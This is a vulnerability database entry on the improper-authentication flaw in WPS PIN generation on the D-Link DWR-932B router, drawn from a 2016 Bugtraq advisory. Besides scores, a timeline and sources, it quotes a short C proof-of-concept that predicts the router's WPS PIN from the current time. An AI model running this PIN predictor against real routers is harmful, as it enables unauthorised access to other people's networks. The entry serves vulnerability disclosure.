CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
---|---|---|
4.9 | $0-$5k | 0.00 |
A vulnerability classified as problematic was found in D-Link DWR-932B (affected version unknown). Affected by this vulnerability is an unknown functionality of the component WPS Generation. The manipulation with an unknown input leads to a improper authentication vulnerability. The CWE definition for the vulnerability is CWE-287. When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. As an impact it is known to affect confidentiality, integrity, and availability.
The bug was discovered 12/04/2015. The weakness was presented 09/28/2016 by Pierre Kim as not defined mailinglist post (Bugtraq). The advisory is shared at seclists.org. The exploitation appears to be easy. An attack has to be approached locally. The successful exploitation needs a single authentication. Technical details are unknown but a public exploit is available.
A public exploit has been developed by Pierre Kim and been published immediately after the advisory. It is possible to download the exploit at seclists.org. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 299 days. During that time the estimated underground price was around $5k-$25k. The code used by the exploit is:
#include <stdio.h> #include <stdlib.h> #include <time.h> int main(int argc, char **argv, char **envp) { unsigned int i0, i1; int i2; /* the seed is the current time of the router, which uses NTP... */ srand(time(0)); i0 = rand() % 10000000; if (i0 <= 999999) i0 += 1000000; i1 = 10 * i0; i2 = (10 - (i1 / 10000 % 10 + i1 / 1000000 % 10 + i1 / 100 % 10 + 3 * (i1 / 100000 % 10 + 10 * i0 / 10000000 % 10 + i1 / 1000 % 10 + i1 / 10 % 10)) % 10) % 10 + 10 * i0; printf("%d\n", i2 ); return (0); }The advisory illustrates:
The PIN generated by the router is weak as it is generated using this "strange" reverse-engineered algorithm.
It is possible to mitigate the problem by applying the configuration setting .
See 92228, 92229, 92230 and 92231 for similar entries.
Product
Vendor
Name
License
CPE 2.3
CPE 2.2
CVSSv4
VulDB CVSS-B Score: 🔍VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 5.3VulDB Meta Temp Score: 4.9
VulDB Base Score: 5.3
VulDB Temp Score: 4.9
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv2
AV | AC | Au | C | I | A |
---|---|---|---|---|---|
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
---|---|---|---|---|---|
unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
Exploiting
Class: Improper authenticationCWE: CWE-287
ATT&CK: Unknown
Local: Yes
Remote: No
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: Pierre Kim
Download: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
0-Day | unlock | unlock | unlock | unlock |
---|---|---|---|---|
Today | unlock | unlock | unlock | unlock |
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: ConfigStatus: 🔍
0-Day Time: 🔍
Exploit Delay Time: 🔍
Timeline
12/04/2015 🔍06/15/2016 🔍
06/16/2016 🔍
09/28/2016 🔍
09/28/2016 🔍
09/28/2016 🔍
04/27/2019 🔍
Sources
Vendor: dlink.comAdvisory: seclists.org
Researcher: Pierre Kim
Status: Not defined
scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍
Entry
Created: 09/28/2016 16:47Updated: 04/27/2019 16:11
Changes: 09/28/2016 16:47 (50), 04/27/2019 16:11 (1)
Complete: 🔍
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